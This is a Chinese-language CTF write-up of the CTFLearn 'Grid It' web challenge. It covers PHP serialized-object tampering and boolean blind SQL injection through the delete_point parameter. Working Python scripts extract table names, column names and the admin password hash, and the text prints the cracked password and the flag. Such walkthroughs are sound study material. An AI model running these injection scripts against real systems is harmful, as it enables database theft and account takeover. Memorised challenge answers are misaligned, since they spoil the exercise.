CTFLearn Web-Grid It

CTFLearn Web-Grid It

打开网页有两个页面:登录和注册,首先尝试注册一个admin用户,无果,猜测系统已有一个admin用户;尝试下用户名注入,无果。于是先注册一个普通账号,登录进去看看进一步的功能。
登录后主要可进行以下几个操作:

  1. 添加point
  2. 删除point

添加point时为POST

https://web.ctflearn.com/grid/controller.php?action=add_point```
data: x=34&y=46

删除point时为``GET```:

https://web.ctflearn.com/grid/controller.php?action=delete_point&point=O:5:%22point%22:3:{s:1:%22x%22;s:1:%222%22;s:1:%22y%22;s:1:%222%22;s:2:%22ID%22;s:7:%221095693%22or%221;}

经尝试,添加point提交的参数限定为数字,无法构造其他数据上传,故先放在一边。观察删除时提交的参数,发现point参数是一串编码后的php序列化对象,反序列化看看:

__PHP_Incomplete_Class Object
(
    [__PHP_Incomplete_Class_Name] => point
    [x] => 2
    [y] => 2
    [ID] => 1095693
)

可以看到该对象包含了3个参数,分别描述所删除point的x坐标、y坐标以及ID,并且在序列化对象中这些参数是以字符形式存在(s)。
尝试修改这些参数查看是否有限制,比如将ID中的数字改为字母:

/grid/controller.php?action=delete_point&point=O:5:%22point%22:3:{s:1:%22x%22;s:1:%222%22;s:1:%22y%22;s:1:%222%22;s:2:%22ID%22;s:7:%22109569a%22;}

发现并没有报错提示,说明没有对传入的类型做限制。在提交delete请求时,会执行形如以下的操作:

delete from point_table where id = $id

传入的php序列化对象是可控的,可以考虑进行sql注入
首先尝试一下修改delete时提交的GET请求参数看看是否执行成功,例如我们新建一个point,ID为1095693,x为67,y为41,则在burp中修改delete请求中point字段的值:

/grid/controller.php?action=delete_point&point=O:5:%22point%22:3:{s:1:%22x%22;s:2:%2267%22;s:1:%22y%22;s:2:%2241%22;s:2:%22ID%22;s:7:%221095694%22;}

注意s代表字符,s:后面的数字代表长度,修改数值的时候要注意与长度对应,否则会提示:

Notice: unserialize(): Error at offset 62 of 70 bytes in /usr/share/nginx/html/web/grid/controller.phpon line 65

Fatal error: Call to a member function delete() on a non-object in /usr/share/nginx/html/web/grid/controller.php on line 66

提交请求后造次刷新页面,发现ID为1095694的point已被成功删除。
接下来构造id值进行sql注入,由于没有任何回显,所以这里只能采用盲注:

delete from point_table where id=xx and (other sql query)

如果query为真,则delete可执行成功,对应ID的point被删除。我们可以通过point是否被删除,来判断注入的sql语句是否为真。例如:

1095693 and (ascii(substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=97)

如果ID为1095693的point被删除,说明表名首字母的ascii值为97。并且观察发现当我完全重头新建point时,ID都是从1095693开始,根据这一点可以编写python脚本,依次探测出表名。

url = 'https://web.ctflearn.com/grid/controller.php?action=delete_point&point='
serialob = 'O:5:%22point%22:3:{s:1:%22x%22;s:2:%2220%22;s:1:%22y%22;s:2:%2220%22;s:2:%22ID%22;s:'
letters = 'abcdefghijklmnopqrstuvwxyz,'

def guess_table_name():
	name = ''
	for index in range(1, 30):
		# add point 
		add_url = 'https://web.ctflearn.com/grid/controller.php?action=add_point'
		data = {"x":"20", "y":"20"}
		requests.post(add_url, data = data, cookies = cookie, proxies = proxies)	
		for i in letters:
			#delete point
			payload = '1095693 and (ascii(substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),'+ str(index) +',1))='+ str(ord(i)) +')'
			tmp = serialob + str(len(payload)) + ':%22' + payload + '%22;}'

			fullUrl = url + tmp
			print(fullUrl)
			r = requests.get(url=fullUrl,cookies=cookie,proxies=proxies)

			if '1095693' not in r.text:
				name += i
				print(name)
				break

执行结果得到point,user,说明数据库中有两个表pointuser
此处我们重点关注user表,继续探测该表的列名:

def guess_column_name():
	name = ''
	for index in range(1, 40):
		# add point 
		add_url = 'https://web.ctflearn.com/grid/controller.php?action=add_point'
		data = {"x":"20", "y":"20"}
		requests.post(add_url, data = data, cookies = cookie, proxies = proxies)	
		for i in letters:
			#delete point
			payload = '''1095693 and (ascii(substring((select group_concat(column_name) from information_schema.columns where table_name='user'),'''+ str(index) +',1))='+ str(ord(i)) +')'
			tmp = serialob + str(len(payload)) + ':%22' + payload + '%22;}'

			fullUrl = url + tmp
			print(fullUrl)
			r = requests.get(url=fullUrl,cookies=cookie,proxies=proxies)

			if '1095693' not in r.text:
				name += i
				print(name)
				break

探测出列名为username,password,uid,然后探测用户名和密码(admin)。其实根据前面的尝试已经可以猜到有一个管理员账号admin,然后我犯了一个非常愚蠢的错误导致花费许多时间来找出问题所在…
运行脚本探测admin密码的时候,为了节省时间,我将枚举的字符范围限定在了a-z中,然而无论怎样都无法成功,百思不得其解。自己建数据库测试发现也是可以得到正确结果的,后来才发现密码并不是明文存在数据库中,而是存入md5值…QAQ
0-9加入到枚举范围:

def guess_admin_password():
	passwd = ''
	for index in range(1, 100):
		# add point 
		add_url = 'https://web.ctflearn.com/grid/controller.php?action=add_point'
		data = {"x":"20", "y":"20"}
		requests.post(add_url, data = data, cookies = cookie, proxies = proxies)	
		for i in letters:
			#delete point
			payload = '''1095700 and (ascii(substring((select concat(username,password,uid) from user limit 1),'''+ str(index) +',1))='+ str(ord(i)) +')'
			tmp = serialob + str(len(payload)) + ':%22' + payload + '%22;}'

			fullUrl = url + tmp
			print(fullUrl)
			r = requests.get(url=fullUrl,cookies=cookie,proxies=proxies)

			if '1095700' not in r.text:
				passwd += i
				print(passwd)
				break

最终可得到用户名为admin,密码0c2c99a4ad05d39177c30b30531b119b,解密后为grapevine。以admin用户登录,可获得flag:

ctflearn{obj3ct_inj3ct1on}

你可能感兴趣的:(web,ctf)